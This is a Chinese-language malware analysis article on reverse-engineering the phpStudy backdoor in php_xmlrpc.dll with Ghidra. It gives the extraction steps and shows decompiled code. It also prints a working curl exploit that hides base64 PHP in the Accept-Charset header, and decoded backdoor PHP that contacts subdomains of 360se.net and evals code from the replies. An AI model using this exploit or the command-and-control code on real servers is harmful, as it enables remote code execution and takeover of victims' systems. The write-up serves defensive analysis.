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使用Ghidra分析phpStudy后门

时间:2021-09-13来源:swan 作者:CCatJ 点击:

这次事件已过去数日,该响应的也都响应了,虽然网上有很多厂商及组织发表了分析文章,但记载分析过程的不多,我只是想正儿八经用 Ghidra 从头到尾分析下。

一、工具和平台

主要工具:

Kali Linux

Ghidra 9.0.4

010Editor 9.0.2

Kali Linux

Ghidra 9.0.4

010Editor 9.0.2

样本环境:

Windows7

phpStudy 20180211

Windows7

phpStudy 20180211

先在 Windows 7 虚拟机中安装 PhpStudy 20180211,然后把安装完后的目录拷贝到 Kali Linux 中。

根据网上公开的信息:后门存在于 php_xmlrpc.dll 文件中,里面存在“eval”关键字,文件 MD5 为 c339482fd2b233fb0a555b629c0ea5d5。

因此,先去找到有后门的文件:

lu4nx@lx-kali:/tmp/phpStudy$find./-namephp_xmlrpc.dll-execmd5sum{}\;3d2c61ed73e9bb300b52a0555135f2f7./PHPTutorial/php/php-7.2.1-nts/ext/php_xmlrpc.dll7c24d796e0ae34e665adcc6a1643e132./PHPTutorial/php/php-7.1.13-nts/ext/php_xmlrpc.dll3ff4ac19000e141fef07b0af5c36a5a3./PHPTutorial/php/php-5.4.45-nts/ext/php_xmlrpc.dllc339482fd2b233fb0a555b629c0ea5d5./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll5db2d02c6847f4b7e8b4c93b16bc8841./PHPTutorial/php/php-7.0.12-nts/ext/php_xmlrpc.dll42701103137121d2a2afa7349c233437./PHPTutorial/php/php-5.3.29-nts/ext/php_xmlrpc.dll0f7ad38e7a9857523dfbce4bce43a9e9./PHPTutorial/php/php-5.2.17/ext/php_xmlrpc.dll149c62e8c2a1732f9f078a7d17baed00./PHPTutorial/php/php-5.5.38/ext/php_xmlrpc.dllfc118f661b45195afa02cbf9d2e57754./PHPTutorial/php/php-5.6.27-nts/ext/php_xmlrpc.dll

将文件 ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll 单独拷贝出来,再确认下是否存在后门:

lu4nx@lx-kali:/tmp/phpStudy$strings./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll|grepevalzend_eval_string@eval(%s('%s'));%s;@eval(%s('%s'));

从上面的搜索结果可以看到文件中存在三个“eval”关键字,现在用 Ghidra 载入分析。

在 Ghidra 中搜索下:菜单栏“Search” > “For Strings”,弹出的菜单按“Search”,然后在结果过滤窗口中过滤“eval”字符串,如图:

从上方结果“Code”字段看的出这三个关键字都位于文件 Data 段中。随便选中一个(我选的“@eval(%s(‘%s’));”)并双击,跳转到地址中,然后查看哪些地方引用过这个字符串(右击,References > Show References to Address),操作如图:

结果如下:

可看到这段数据在 PUSH 指令中被使用,应该是函数调用,双击跳转到汇编指令处,然后 Ghidra 会自动把汇编代码转成较高级的伪代码并呈现在 Decompile 窗口中:

如果没有看到 Decompile 窗口,在菜单Window > Decompile 中打开。

在翻译后的函数 FUN_100031f0 中,我找到了前面搜索到的三个 eval 字符,说明这个函数中可能存在多个后门(当然经过完整分析后存在三个后门)。

这里插一句,Ghidra 转换高级代码能力比 IDA 的 Hex-Rays Decompiler 插件要差一些,比如 Ghidra 转换的这段代码:

puVar8 = local_19f; while (iVar5 != 0) { iVar5 = iVar5 + -1; *puVar8 = 0; puVar8 = puVar8 + 1; }

在IDA中翻译得就很直观:

memset(&v27, 0, 0xB0u);

还有对多个逻辑的判断,IDA 翻译出来是:

if (a && b){ ... }

Ghidra 翻译出来却是:

if (a) { if(b) { } }

而多层 if 嵌套阅读起来会经常迷路。总之 Ghidra 翻译的代码只有反复阅读后才知道是干嘛的,在理解这类代码上我花了好几个小时。

2.1 第一个远程代码执行的后门

第一个后门存在于这段代码:

iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0xd8, s__SERVER_1000ec9c,~uVar6,&local_14); if (iVar5 != -1) { uVar6 = 0xffffffff; pcVar9 = s_HTTP_ACCEPT_ENCODING_1000ec84; do { if (uVar6 == 0) break; uVar6 = uVar6 - 1; cVar1 = *pcVar9; pcVar9 = pcVar9 + 1; } while (cVar1 != '\0'); iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_ENCODING_1000ec84,~uVar6,&local_28 ); if (iVar5 != -1) { pcVar9 = s_gzip,deflate_1000ec74; pbVar4 = *(byte **)*local_28; pbVar7 = pbVar4; do { bVar2 = *pbVar7; bVar11 = bVar2 < (byte)*pcVar9; if (bVar2 != *pcVar9) { LAB_10003303: iVar5 = (1 - (uint)bVar11) - (uint)(bVar11 != false); goto LAB_10003308; } if (bVar2 == 0) break; bVar2 = pbVar7[1]; bVar11 = bVar2 < ((byte *)pcVar9)[1]; if (bVar2 != ((byte *)pcVar9)[1]) goto LAB_10003303; pbVar7 = pbVar7 + 2; pcVar9 = (char *)((byte *)pcVar9 + 2); } while (bVar2 != 0); iVar5 = 0; LAB_10003308: if (iVar5 == 0) { uVar6 = 0xffffffff; pcVar9 = s__SERVER_1000ec9c; do { if (uVar6 == 0) break; uVar6 = uVar6 - 1; cVar1 = *pcVar9; pcVar9 = pcVar9 + 1; } while (cVar1 != '\0'); iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0xd8,s__SERVER_1000ec9c,~uVar6,&local_14); if (iVar5 != -1) { uVar6 = 0xffffffff; pcVar9 = s_HTTP_ACCEPT_CHARSET_1000ec60; do { if (uVar6 == 0) break; uVar6 = uVar6 - 1; cVar1 = *pcVar9; pcVar9 = pcVar9 + 1; } while (cVar1 != '\0'); iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_CHARSET_1000ec60,~uVar6, &local_1c); if (iVar5 != -1) { uVar6 = 0xffffffff; pcVar9 = *(char **)*local_1c; do { if (uVar6 == 0) break; uVar6 = uVar6 - 1; cVar1 = *pcVar9; pcVar9 = pcVar9 + 1; } while (cVar1 != '\0'); local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1); if (local_10 != (undefined4 *)0x0) { iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4); local_24 = *(undefined4 *)(iVar5 + 0x128); *(undefined **)(iVar5 + 0x128) = local_ec; iVar5 = _setjmp3(local_ec,0); uVar3 = local_24; if (iVar5 == 0) { zend_eval_string(local_10,0,&DAT_10012884,param_3); } else { *(undefined4 *) (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = local_24; } *(undefined4 *) (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = uVar3; } } } } } }

阅读起来非常复杂,大概逻辑就是通过 PHP 的 zend_hash_find 函数寻找 $_SERVER 变量,然后找到 Accept-Encoding 和 Accept-Charset 两个 HTTP 请求头,如果 Accept-Encoding 的值为 gzip,deflate,就调用 zend_eval_string 去执行 Accept-Encoding 的内容:

zend_eval_string(local_10,0,&DAT_10012884,param_3);

这里 zend_eval_string 执行的是 local_10 变量的内容,local_10 是通过调用一个函数赋值的:

local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1);

函数 FUN_100040b0 最后分析出来是做 Base64 解码的。

到这里,就知道该如何构造 Payload 了:

Accept-Encoding: gzip,deflate Accept-Charset: Base64加密后的PHP代码

朝虚拟机构造一个请求:

$ curl -H "Accept-Charset: $(echo'system("ipconfig");'|base64 )"-H 'Accept-Encoding: gzip,deflate'192.168.128.6

结果如图:

2.2 第二处后门

沿着伪代码继续分析,看到这一段代码:

if (iVar5 == 0) { puVar8 = &DAT_1000d66c; local_8 = &DAT_10012884; piVar10 = &DAT_1000d66c; do { if (*piVar10 == 0x27) { (&DAT_10012884)[iVar5] = 0x5c; (&DAT_10012885)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 2; piVar10 = piVar10 + 2; } else { (&DAT_10012884)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 1; piVar10 = piVar10 + 1; } puVar8 = puVar8 + 1; } while ((int)puVar8 < 0x1000e5c4); spprintf(&local_20,0,s_$V='%s';$M='%s';_1000ec3c,&DAT_100127b8,&DAT_10012784); spprintf(&local_8,0,s_%s;@eval(%s('%s'));_1000ec28,local_20,s_gzuncompress_1000d018, local_8); iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4); local_10 = *(undefined4 **)(iVar5 + 0x128); *(undefined **)(iVar5 + 0x128) = local_6c; iVar5 = _setjmp3(local_6c,0); uVar3 = local_10; if (iVar5 == 0) { zend_eval_string(local_8,0,&DAT_10012884,param_3); } else { *(undefined4 **) (*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = local_10; } *(undefined4 *)(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = uVar3; return 0; }

重点在这段:

puVar8 = &DAT_1000d66c; local_8 = &DAT_10012884; piVar10 = &DAT_1000d66c; do { if (*piVar10 == 0x27) { (&DAT_10012884)[iVar5] = 0x5c; (&DAT_10012885)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 2; piVar10 = piVar10 + 2; } else { (&DAT_10012884)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 1; piVar10 = piVar10 + 1; } puVar8 = puVar8 + 1; } while ((int)puVar8 < 0x1000e5c4);

变量 puVar8 是作为累计变量,这段代码像是拷贝地址 0x1000d66c 至 0x1000e5c4 之间的数据,于是选中切这行代码:

puVar8 = &DAT_1000d66c;

双击 DAT_1000d66c,Ghidra 会自动跳转到该地址,然后在菜单选择 Window > Bytes 来打开十六进制窗口,现已处于地址 0x1000d66c,接下来要做的就是把 0x1000d66c~0x1000e5c4 之间的数据拷贝出来:

1、选择菜单 Select > Bytes;

2、弹出的窗口中勾选“To Address”,然后在右侧的“Ending Address”中填入 0x1000e5c4,如图:

1、选择菜单 Select > Bytes;

2、弹出的窗口中勾选“To Address”,然后在右侧的“Ending Address”中填入 0x1000e5c4,如图:

按回车后,这段数据已被选中,我把它们单独拷出来,点击右键,选择 Copy Special > Byte String (No Spaces),如图:

然后打开 010Editor 编辑器:

1、新建文件:File > New > New Hex File;

2、粘贴拷贝的十六进制数据:Edit > Paste From > Paste from Hex Text

1、新建文件:File > New > New Hex File;

2、粘贴拷贝的十六进制数据:Edit > Paste From > Paste from Hex Text

然后,把“00”字节全部去掉,选择 Search > Replace,查找 00,Replace 那里不填,点“Replace All”,处理后如下:

把处理后的文件保存为 p1。通过 file 命令得知文件 p1 为 Zlib 压缩后的数据:

$ file p1 p1: zlib compressed data

用 Python 的 zlib 库就可以解压,解压代码如下:

importzlibwithopen("p1","rb")asf:data=f.readprint(zlib.decompress(data))

执行结果如下:

lu4nx@lx-kali:/tmp$ python3 decom.py b"$i='info^_^'.base64_encode($V.'<|>'.$M.'<|>').'==END==';$zzz='-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------';@eval(base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZ**bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZ**yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZ**iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZ**bM10pKTsKCX0KfXdoaWxlKCRuKTs='));"

用 base64 命令把这段 Base64 代码解密,过程及结果如下:

lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZ**bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZ**yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZ**iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZ**bM10pKTsKCX0KfXdoaWxlKCRuKTs=' | base64 -d@ini_set("display_errors","0");error_reporting(0);functiontcpGet($sendMsg='',$ip='360se.net',$port='20123'){$result="";$handle=stream_socket_client("tcp://{$ip}:{$port}",$errno,$errstr,10);if(!$handle){$handle=fsockopen($ip,intval($port),$errno,$errstr,5);if(!$handle){return"err";}}fwrite($handle,$sendMsg."");while(!feof($handle)){stream_set_timeout($handle,2);$result.=fread($handle,1024);$info=stream_get_meta_data($handle);if($info['timed_out']){break;}}fclose($handle);return$result;}$ds=array("www","bbs","cms","down","up","file","ftp");$ps=array("20123","40125","8080","80","53");$n=false;do{$n=false;foreach($dsas$d){$b=false;foreach($psas$p){$result=tcpGet($i,$d.".360se.net",$p);if($result!="err"){$b=true;break;}}if($b)break;}$info=explode("<^>",$result);if(count($info)==4){if(strpos($info[3],"/*Onemore*/")!==false){$info[3]=str_replace("/*Onemore*/","",$info[3]);$n=true;}@eval(base64_decode($info[3]));}}while($n);2.3 第三个后门

第三个后门和第二个实现逻辑其实差不多,代码如下:

puVar8 = &DAT_1000d028; local_c = &DAT_10012884; iVar5 = 0; piVar10 = &DAT_1000d028; do { if (*piVar10 == 0x27) { (&DAT_10012884)[iVar5] = 0x5c; (&DAT_10012885)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 2; piVar10 = piVar10 + 2; } else { (&DAT_10012884)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 1; piVar10 = piVar10 + 1; } puVar8 = puVar8 + 1; } while ((int)puVar8 < 0x1000d66c); spprintf(&local_c,0,s_@eval(%s('%s'));_1000ec14,s_gzuncompress_1000d018,&DAT_10012884); iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4); local_18 = *(undefined4 *)(iVar5 + 0x128); *(undefined **)(iVar5 + 0x128) = local_ac; iVar5 = _setjmp3(local_ac,0); uVar3 = local_18; if (iVar5 == 0) { zend_eval_string(local_c,0,&DAT_10012884,param_3); }

重点在这段:

puVar8 = &DAT_1000d028; local_c = &DAT_10012884; iVar5 = 0; piVar10 = &DAT_1000d028; do { if (*piVar10 == 0x27) { (&DAT_10012884)[iVar5] = 0x5c; (&DAT_10012885)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 2; piVar10 = piVar10 + 2; } else { (&DAT_10012884)[iVar5] = *(undefined *)puVar8; iVar5 = iVar5 + 1; piVar10 = piVar10 + 1; } puVar8 = puVar8 + 1; } while ((int)puVar8 < 0x1000d66c);

后门代码在地址 0x1000d028~0x1000d66c 中,提取和处理方法与第二个后门的一样。找到并提出来,如下:

lu4nx@lx-kali:/tmp$ python3 decom.py b" @eval( base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0I**9ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ=='));"

把这段Base64代码解码:

lu4nx@lx-kali:/tmp$echo'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0I**9ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ=='|base64-d@ini_set("display_errors","0");error_reporting(0);$h=$_SERVER['HTTP_HOST'];$p=$_SERVER['SERVER_PORT'];$fp=fsockopen($h,$p,$errno,$errstr,5);if(!$fp){}else{$out="GET{$_SERVER['_NAME']}HTTP/1.1\r";$out .= "Host:{$h}\r";$out .= "Accept-Encoding:compress,gzip\r";$out .= "Connection:Close\r\r";fwrite($fp,$out);fclose($fp);}三、参考

《phpStudy 遭黑客入侵植入后门事件披露 | 微步在线报告》

《phpStudy 遭黑客入侵植入后门事件披露 | 微步在线报告》

作者博客:《使用 Ghidra 分析 phpStudy 后门》

作者博客:《使用 Ghidra 分析 phpStudy 后门》

*本文作者:lu4nx@知道创宇404积极防御实验室,转载请注明来自FreeBuf.COM


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